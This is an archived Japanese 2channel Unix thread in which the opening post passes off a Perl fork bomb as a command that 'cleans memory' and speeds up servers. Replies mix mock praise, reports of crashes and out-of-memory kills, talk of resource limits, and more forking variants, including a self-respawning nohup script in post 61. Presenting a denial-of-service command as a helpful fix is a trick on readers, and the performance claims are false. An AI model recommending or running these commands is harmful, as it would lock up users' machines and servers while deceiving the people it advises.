トップページunix
659コメント171KB

簡単!メモリクリーニング

■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
0002名無しさん@お腹いっぱい。NGNG
2
0003名無しさん@お腹いっぱい。NGNG
>>1
自分のPCでは一日一回実行してる。
0004名無しさん@お腹いっぱい。NGNG
3
0005名無しさん@お腹いっぱい。NGNG
>>4
プ
0006(゚∀゚)<さいたま〜 NGNG
                \ │ /
                 / ̄\  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
               ─( ゚ ∀ ゚ )< さいたまさいたま!
                 \_/  \_________
                / │ \
                    ∩ ∧ ∧∩ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ∩∧ ∧∩\( ゚∀゚)< さいたまさいたまさいたま!
さいたま〜〜〜〜! >( ゚∀゚ )/ |    / \__________
________/ |    〈 |   |
              / /\_」 / /\」
               ̄     / /
                    ̄
0007名無しさん@お腹いっぱい。NGNG
                          ∧_∧
                         (    ) >>1

                        //
                      //
                     //
                   //
 ブンッ/  ∧__∧      //
  // / (   ´)  从//
 ( ̄ ̄二⊂   彡⊃ ‘ 、' > カキーン!!
   ̄ ̄   y  人   ⊂ ⊂ )
      ミ(___)__),, (__(__ ̄)
0008名無しさん@お腹いっぱい。NGNG

       「\       .「\ 
       〉 .>      〉 〉
       / /      / /
      /  |        /  |  
      /  /      /  / 
     (  〈 .    /  /. 
      \ `\   |ヽ | >>1
       \  \ /  |  
         ヽ  `´  ノ     
         |    /__
        [二二二二二]
        ‖||| | |‖
        ||||||‖
          ||| | |||
         |||||||
          `ー――´
0009名無しさん@お腹いっぱい。NGNG
Windows XP だけどうまくいなかいぞ。
0010名無しさん@お腹いっぱい。NGNG
>>9
UNIX系って書いているだろ。
0011名無しさん@お腹いっぱい。NGNG
Windows XPってUNIX系OSなんですか?
0012名無しさん@お腹いっぱい。NGNG
まけた…
0013名無しさん@お腹いっぱい。NGNG
>>11
なにをもってUNIXとするかによるけど、POSIX準拠がUNIXの基準なら
Windows NT / Windows 2000 / Windows XP はPOSIX準拠だからUNIXと
いえなくもない。。。
0014名無しさん@お腹いっぱい。NGNG
>>1
あ、ほんとだ、ちょっと早くなったきがする。
0015名無しさん@お腹いっぱい。NGNG
>>13
XPはPOSIXサブシステム外してあるんでなかったっけ?
0016名無しさん@お腹いっぱい。NGNG
みてね、無修正だよ〜♪
http://www1.free-city.net/home/kotarou/page002.html
0017名無しさん@EmacsNGNG
>>1
名前がまちがってるぞ。
「CompJapan」にしろ。
0018名無しさん@お腹いっぱい。NGNG
>>1
へエー、、、メモリってそんなコマンド1つでクリーニングできるとは・・・

今、サーバにアクセスできないからさっそく明日ためしてみよう。
0019あぼーんNGNG
あぼーん
0020名無しさん@お腹いっぱい。NGNG
なぜクリーニングできるんだ?
負荷かけるから?
0021名無しさん@お腹いっぱい。NGNG
いわゆる一つの錆落しですね?
0022名無しさん@お腹いっぱい。NGNG
で、これからどうする? >>1
0023名無しさん@お腹いっぱい。NGNG
VMがうんこなOSは大変だな
0024名無しさん@お腹いっぱい。NGNG
        / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  Λ_Λ  |  オラオラ、
 ( ・∀・)<   精神異常者は消えろ!
 (    )  \_____________
 | | \ \ グリグリ
 (__)  (__)
      (´Д`)ノ ←>>1
0025名無しさん@お腹いっぱい。NGNG
>>13
POSIX準拠なのは2k / NTだけ。
0026あぼーんNGNG
あぼーん
0027 NGNG
>>1 THX 目から鱗でつ
0028すーぱーはかーNGNG
UNIX初心者です。厨な質問で悪いのですが、
perl:command not found
と表示されてしまいます。
OSはTurbo Linux8です。
300MHzのパソコンで使っていて重いので、ぜひメモリーを掃除したいです。
どうかご教示ください
0029すーぱーはかーNGNG
perl:command not found
というのはメモリーが掃除されたといういみなのでしょうか?
0030名無しさん@お腹いっぱい。NGNG
ところで、こういうアホに

 perl -e 'while(1){ fork() && exit }'

てなプログラムを動かされたとして、これをkillする方法ってある?
0031名無しさん@お腹いっぱい。NGNG
perlをkillするプログラムを書き、それをforkしまくる
0032名無しさん@お腹いっぱい。NGNG
マッチポンプだな(w
0033名無しさん@お腹いっぱい。NGNG
すげー!
>>1はスーパーハカー!?
0034名無しさん@お腹いっぱい。NGNG
こんちやっす
自宅サーバーをひそかに内緒でやってたj-comからyahoobbに移したのですが
セキュリティーホールが心配で・・・
せきゅれちーホールありますか?
http://www.musumefan.no-ip.com
0035名無しさん@お腹いっぱい。NGNG
すまそん
いた間違えますた
0036名無しさん@お腹いっぱい。NGNG
root 権限ならともかく、普通はリソース制限掛けるでしょ。
掛かってない鯖はクソ。
0037名無しさん@お腹いっぱい。NGNG
  ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 (`・ω・´) < 復活シャキーン!
 (つ旦と)   \_______________
 と_)_)
0038名無しさん@お腹いっぱい。NGNG
        ショボーンワッショイ!!
     \\  ショボーンワッショイ!! //
 +   + \\ ショボーンワッショイ!!/+
                            +
.   +   ∧_∧ ∧_∧ ∧_∧  +
      (´゚ω・∩(゚ω・∩)(´ ・ω゚)
 +  (( (つ   ノ(つ  丿(つ  つ ))  +
       ヽ  ( ノ ( ヽノ  ) ) )
       (_)し' し(_) (_)_)
0039名無しさん@お腹いっぱい。NGNG
           ./◎)
          /  || 
          /   || シニタクナイヨ・・・・・
           /   |∧_∧
 ショボーン   /    (:.;゚;ω;゚;.:)
   ∧_∧.n    /~~~~~ノJ
   ( ´・ω・`)ノ    Oノ ノ ノ
   (    )      .し' J
   |  |   |      ゚。
   (__)_)     ゜
             。゚
0040あぼーんNGNG
あぼーん
0041名無しさん@お腹いっぱい。NGNG
>>1
なんた、自慢か!?
鯖のcronに加えさせてもらったからな、ふさけるんしゃねぇそ!

0042名無しさん@お腹いっぱい。NGNG
どうなってんだよ〜赤帽8でやったら2日間そのままOut of memory: killed process **** (ABCD)
になっちまったぞ!どう止める?????????????????????????????????????????????????????????・
0043あぼーんNGNG
あぼーん
0044名無しさん@お腹いっぱい。NGNG




        自作自演楽しいか?



0045名無しさん@お腹いっぱい。NGNG
ところでさ。
いまどき>>1でこけるシステムあるの?
0046名無しさん@お腹いっぱい。NGNG
linuxは弱い。ほぼ死ぬ。
0047名無しさん@お腹いっぱい。NGNG
limitで制限かけりゃなんとかなるけど
大抵そんなことしないからなぁ
0048名無しさん@お腹いっぱい。NGNG
copy on writeで実装しているシステムでは絶対大丈夫な解は存在しなかったはず。
solarisは強いと言われているけど、それでも保証できないんじゃないかな?
・・・でもforkだけだとメモリ確保しないから落ちないと思ってたんだけど。
forkしてメモリ確保しておいて、後でおもむろに書き込みとかするとヤバイって思ってた。
0049名無しさん@お腹いっぱい。NGNG
以下>1のように以外に知られていないが、
役に立つコマンドなどを書き込むスレになりました。
0050名無しさん@お腹いっぱい。NGNG
>>46
キター
0051名無しさん@お腹いっぱい。NGNG
やってみたけど、新規にアプリを起動できなくなるだけみたいだけど。
これが「死ぬ」って状態なの?
元々立ち上げてたMozillaは特に問題ないし。2chに書き込める。
0052名無しさん@お腹いっぱい。NGNG
新しくアプリを起動できないのは
最大プロセス数の問題かな。
メモリ食い潰しでもしないかぎりは
Linuxでさえ、落ちたりはしないだろ。

メモリを食い潰し(swapも)てもなお確保しようとような自体になれば
他のOSでもやばいっしょ。
0053名無しさん@お腹いっぱい。NGNG
ってことは>>46の死んだってのは嘘かよ
0054名無しさん@お腹いっぱい。NGNG
>>53
死なないだろ。
つか、死なない。
いちおう試してみた。

Linux 2.4.20 (Gentoo)
Pentium2 233Mhz
mem 128MB

>>46は8年間 コールドスリープしてたんじゃないのか?
0055名無しさん@お腹いっぱい。NGNG
実際、fork するだけなら死なないだろ。
死んだらあまりにもアホ。そんな OS はバカにしていい。

>>48
んなこたぁないだろ。
オーバーコミットしないようにチェックを厳しくすりゃいいだけだろ。
0056名無しさん@お腹いっぱい。NGNG
近頃のOS/マシンはそうそう落ちないだろうが、CPUやバスが貧弱、
メモリも少ない昔のマシンは簡単に落ちた。pingにさえまともに
応答しなくなって、やむなくStop+A。
0057 NGNG
windowsのメモリクリナ-(blueback ⇒ 再起動)に勝てるメモリクリナ-は無い
0058あぼーんNGNG
あぼーん
0059名無しさん@お腹いっぱい。NGNG
>>56
しかし、そうするとファイルシステムまで
吹き飛ぶ罠。
0060名無しさん@お腹いっぱい。NGNG
ウチのレガッタは落ちませんでした。
落ちたらそいつ自身のダンプを取ってやろうとか
思ったんだけどね。

まぁぎりぎりで縮退かかるだけかな…
0061名無しさん@お腹いっぱい。NGNG
1のスクリプトだと固まるには固まるが CTRL+C で脱出できる。
下のやつだと

sh: fork: リソースが一時的に利用できません
/usr/bin/nohup: fork: リソースが一時的に利用できません
sh: fork: リソースが一時的に利用できません

と流れるもののコンソールのもう片方では以下のコマンドが普通にうごく始末。


[root@g /root]# cat test.pl
#!/usr/bin/perl

while(1){
if( ! fork ){
system(" nohup perl ./test.pl & ");
}
}

[root@g /root]# ps ax | wc
2089 12527 83984
[root@g /root]# uname -ar
Linux g.privnet 2.2.18-0vl4.2my #1 2002年 7月 7日(日) 23時32分59秒 JST i686 unknown
[root@g /root]# cat /proc/cpuinfo | grep model
model : 8
model name : Pentium III (Coppermine)
[root@g /root]# cat /proc/cpuinfo | grep MHz
cpu MHz : 847.192
[root@g /root]# ps ax | wc
2089 12527 83984
なーにが Regatta だよ
0062あぼーんNGNG
あぼーん
0063名無しさん@お腹いっぱい。NGNG
for i in `ps ax | grep perl | cut -f1 -d" " `
復旧〜
0064名無しさん@お腹いっぱい。NGNG
>>63
それも途中でコケそう。プロセスいっぱい使うし。
rootでnice値をマイナスにすれば大丈夫か・・・

レガッタってAIXだろ?
006560NGNG
>>64
CPU16個で5%ほど1つのAIXに割り当てて
fork!fork!fork!

でもやっぱ大した事無かったでつよ。
0066名無しさん@お腹いっぱい。NGNG
>>64
いけましたぜ旦那
要は去年の犬糞カーネルでも痛くも痒くもねえって事
それをわざわざ Regatta でやりますかね

メモリー食いつぶすかファイルをひたすらオープンし続けるか
起動しないプロセスを終了しないプロセスが待ち続けつつ増殖するとか
0067名無しさん@お腹いっぱい。NGNG
ためしにやってみました
P55C 200MHz
RedHat8.0 kernel2.4.20-18.8
MEM 128MB

Apache2.0が作動しなくなって
SSHでの接続も出来なくなりました
その後 PPPoEも停止
結局は落ちたも同然の状況
カーソル画面でrootログインを使用とするがPasswd:の返事もない

うーむ、もしかしてLinuxってだめぽ?
それとも漏れの鯖が非力なだけ?
0068名無しさん@お腹いっぱい。NGNG
> うーむ、もしかしてLinuxってだめぽ?
そうだね。乗り換えたほうが良いよ。
他に選択肢があれば、ね。
0069名無しさん@お腹いっぱい。NGNG
変態forkに負けない
スケジュール優先度の高い専用アカウントを作っておく、とか。
0070名無しさん@お腹いっぱい。NGNG
67でつが
次回はFreeBSDでも入れて試してみます〜
■ このスレッドは過去ログ倉庫に格納されています